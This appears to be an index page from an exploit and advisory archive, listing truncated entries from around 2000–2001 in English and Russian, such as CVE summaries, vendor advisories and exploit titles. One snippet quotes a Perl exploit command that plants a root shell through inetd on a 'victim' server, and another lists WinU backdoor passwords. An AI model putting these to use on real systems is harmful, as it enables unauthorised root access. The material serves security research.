Дырка в PHP-Nuke (xml parsing)

При разборе XML не проверяется таг TITLE, что позволяет вставить в него PHP-скрипт...

CVE-2001-0198

The CVE-2001-0198 issue affects the QuickTime Player plugin 4.1.2 (Japanese). The root cause is a buffer overflow caused by a long HREF parameter in an EMBED tag, allowing remote attackers to execute arbitrary commands. Public references describe a remote buffer overflow exploit via a crafted HTM...

[SECURITY] [DSA 011-2] New mgetty packages for m68k and powerpc available

---------------------------------------------------------------------------- Debian Security Advisory DSA-011-2 [email protected] http://www.debian.org/security/ Martin Schulze March 6, 2001 - ---------------------------------------------------------------------------- Package : mgetty...

Ultimate Bulletin Board

Here is a message I just popped off to infopop about their Ultimate Bulletin Board v5 product. It's not really meant for someone not used to their product. -------------------------------------------------------------------------------- If a user has info stored in a cookie, replies to a message...

CVE-2001-0127

Buffer overflow in Olivier Debon Flash plugin not the Macromedia plugin allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long DefineSound tag...

Дырка в Apple Quick Time Plug-in

Переполнение буфера при разборе тага EMBED...

Netscape Enterprise Server 4.0/sparc/SunOS 5.7 - Remote Command Execution

!/usr/bin/perl Remote sploit for Netscape Enterprise Server 4.0/sparc/SunOS 5.7 usage: ns-shtml.pl 'command line' | nc victim port Sometimes server may hang or coredump.. eek ;- [email protected] $cmdline="echo 'ingreslock stream tcp nowait root /bin/sh sh -i' /tmp/bob; /usr/sbin/inetd -s...

thong.pl

Written by hypoclear - http://hypoclear.cjb.net Thong-th-thong-th-thong.pl AKA thong.pl is a PERL script which automates several attacks against various Cisco products. To be specific: 12-13-00 - Cisco Catalyst ssh Protocol Mismatch DoS Vulnerability 11-28-00 - Cisco 675 Web Administration Denial...

CVE-2000-1172

CVE-2000-1172 affects Gaim (formerly a...); specifically version 0.10.3 and earlier using the OSCAR protocol. The issue is a buffer overflow triggered by a long HTML tag in received messages, leading to remote denial of service and potentially arbitrary code execution. Exploitation details are no...

mon_pine.sh

Hacksware Bug Report 1. Name: Pine temporary file hijacking vulnerability 2. Release Date: 2000.12.11 3. Affected Application: Pine Version 4.30or maybe other versions 4. Author: [email protected] 5. Type: Local Race Condition 6. Explanation If pine setting is like following: x...

@stake Advisory: IIS 4.0/5.0 Phone Book server buffer overrun (A120400-1)

@stake, Inc. www.atstake.com Security Advisory Advisory Name: IIS 4.0/5.0 Phone Book server buffer overrun Release Date: 12/04/2000 Application: Microsoft's Phone Book Server on IIS 4.0, 5.0 Platform: Windows NT 4.0, Windows 2000 Severity: A buffer overflow conditions exists in pbserver.dll that...

[ADV/EXP]: RH6.x root from bash /tmp vuln + MORE

Advisory: its been fixed, check some previous messages. bash1 /tmp vulns Also: uucp exploit - file creation/overwriting symlinks kinda exploit for man/makewhatis Requires: 1 local access to run the program 2 a crash or reboot to happened 3 /etc/cron.weekly/makewhatis.cron to be executed by cron 4...

GLIBC (via /bin/su) Local Root Exploit

Exploit for linux platform in category local exploits ====================================== GLIBC via /bin/su Local Root Exploit ====================================== / Working exploit for glibc executing /bin/su To exploit this i have used a technique that overwrites the .dtors section of...

Дырка в GAIM

Переполнение буфера в разборе HTML-тагов при работе...

Локальная дырка в IIS (.ASP buffer overflow)

Длинный параметр LANGUAGE тага SCRIPT приводит к переполнению буфера на сервере, что позволяет локальному пользователю получить привилегии системы. В сочетании с другими ошибками может привести к удаленной атаке...

Cisco Virtual Central Office 4000 (VCO/4K) 5.1.3 - Remote Username / Password Retrieval

source: https://www.securityfocus.com/bid/1885/info A vulnerability exists in the Cisco Virtual Central Office 4000 VCO/4K programmable voice switch running software versions 5.13 and earlier. The usernames and passwords for the device's SNMP administration interface are protected by a simple...

redhat.lpr.txt

details of an exploit agains lpr-0.50-4 at least also affects other systems that may have the same print filters URL : http://crash.ihug.co.nz/Sneuro/lpd-adv.txt AFFECTS : lpr-0.50-4 & earlier SEVERITY : local ROOT possible. SYNOPSIS : escalation of group permissions, leading to exploit for every...

WinU Backdoor passwords!!!!

WinU 1.0-5.1 Backdoor passwords Intro ===== After downloading WinU 5.1 I noticed the built-in "emergency password" capability, mentioned in the help file. I decided to take a look around. AND WOW! GOT 'EM ALL! Passwords ========= WinU 1.0-2.02: KX98592V63 BARRY SMILER WinU 3.2a: LRTV5 BARRY SMILE...

CVE-1999-0946

Buffer overflow in Yamaha MidiPlug via a Text variable in an EMBED tag...

CVE-2000-0116

Firewall-1 does not properly filter script tags, which allows remote attackers to bypass the "Strip Script Tags" restriction by including an extra in front of the SCRIPT tag...